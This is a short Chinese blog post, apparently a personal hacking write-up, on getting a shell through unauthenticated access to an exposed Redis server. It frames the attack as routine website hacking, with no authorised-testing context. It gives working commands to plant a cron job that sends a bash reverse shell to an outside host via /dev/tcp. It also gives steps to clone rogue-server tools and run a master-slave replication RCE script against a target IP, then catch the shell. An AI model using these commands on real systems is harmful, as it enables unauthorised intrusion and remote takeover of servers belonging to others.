记一次未授权访问redis+getshell

当我们日网站时候，常规漏洞如注入、xss等多尝试无果后，扫描端口也会发现意外收获。

本次扫到了6379也就是Redis，Redis在默认情况下，会绑定在0.0.0.0:6379，如果没有采用限制IP访问，就会将Redis服务暴露在公网上并且在没有设置密码认证的情况下，会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥等远程连接。



当我们通过未授权访问或弱密码成功访问redis服务器，我们应该怎样进一步获取权限呢？

连接redis：Redis-cli –h 被攻击ip



目前较主流的两个方法，第一种写入计划任务反弹shell

set x "\n\* \* \* \* \* bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

第二个利用主从复制rce

这里利用第二个获取shell

首先下载脚本

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand（需要make）

git clone https://github.com/Ridter/redis-rce.git

执行脚本

python3 redis-rogue-server.py --rhost=192.168.112.132 --lhost=192.168.112.133 --exp=exp.so



监听之前反弹端口即可获取shell

